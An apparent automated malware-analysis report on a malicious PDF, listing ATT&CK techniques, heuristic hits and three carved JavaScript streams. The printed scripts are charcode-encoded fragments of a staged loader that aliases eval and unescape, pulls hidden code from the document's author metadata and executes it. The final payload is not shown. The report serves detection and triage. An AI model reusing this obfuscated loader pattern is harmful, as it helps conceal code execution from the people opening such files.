MALICIOUS
116
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The PDF file contains multiple embedded JavaScript streams, flagged as a critical exploit cluster. The JavaScript functions, particularly those using String.fromCharCode and eval, are designed to deobfuscate and execute malicious code. The reconstructed JavaScript strings suggest an attempt to download and execute a second-stage payload from a remote source.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
for (var i=0; i < list.length; i++) { result += String.fromCharCode(list[i] - jump); } -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0012_000.js |
pdf-javascript-stream | PDF /JS object 12 at offset 0x16FB | 439 bytes |
SHA-256: 10fec9f287b9e2b75a0cabbcd92adfbf81e4faf626a982990702757b35bd221a |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
sourceCode = "13,10,13,10,13,10,118,97,114,32,122,32,61,32,117,110,101,115,99,97,112,101,59,118,97,114,32,112,114,99,110,116,32,61,32,39,37,39,59,13,10,118,97,114,32,107,115,32,61,32,101,118,97,108,59,13,10,13,10";
function decrypt(str, jump){
var result = "";
var list = str.split(',');
for (var i=0; i < list.length; i++) {
result += String.fromCharCode(list[i] - jump);
}
return result;
}
|
|||
javascript_obj0013_001.js |
pdf-javascript-stream | PDF /JS object 13 at offset 0x1839 | 688 bytes |
SHA-256: 39cacbbf9bd35d1044b4dc0aa097477b6ac0fc5a85300c14a7ebbf9d48101e42 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
sourceCode = "13,10,13,10,13,10,13,10,13,10,107,115,40,39,118,97,114,32,99,111,100,101,115,32,61,32,116,104,105,115,46,105,110,39,43,122,40,34,37,54,54,37,54,102,37,50,101,37,54,49,37,55,53,37,55,52,34,41,43,39,104,111,114,59,39,41,59,13,10,13,10,118,97,114,32,120,120,120,32,61,32,107,115,40,39,99,111,100,101,115,46,114,101,39,43,39,112,108,39,43,39,97,99,39,43,39,101,40,39,43,39,47,108,107,97,49,47,103,39,43,39,44,112,114,99,110,116,41,39,41,59,13,10,13,10";
function decrypt(str, jump){
var result = "";
var list = str.split(',');
for (var i=0; i < list.length; i++) {
result += String.fromCharCode(list[i] - jump);
}
return result;
}
|
|||
javascript_obj0014_002.js |
pdf-javascript-stream | PDF /JS object 14 at offset 0x19CA | 402 bytes |
SHA-256: 86e17ecf2269d529f6996447b89103df331420e06dc70f9d02ebc874ac0e46d4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
sourceCode = "13,10,13,10,118,97,114,32,118,118,118,32,61,32,122,40,117,110,101,115,99,97,112,101,40,120,120,120,41,41,59,13,10,101,118,97,108,40,118,118,118,41,59,13,10,13,10";
function decrypt(str, jump){
var result = "";
var list = str.split(',');
for (var i=0; i < list.length; i++) {
result += String.fromCharCode(list[i] - jump);
}
return result;
}
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.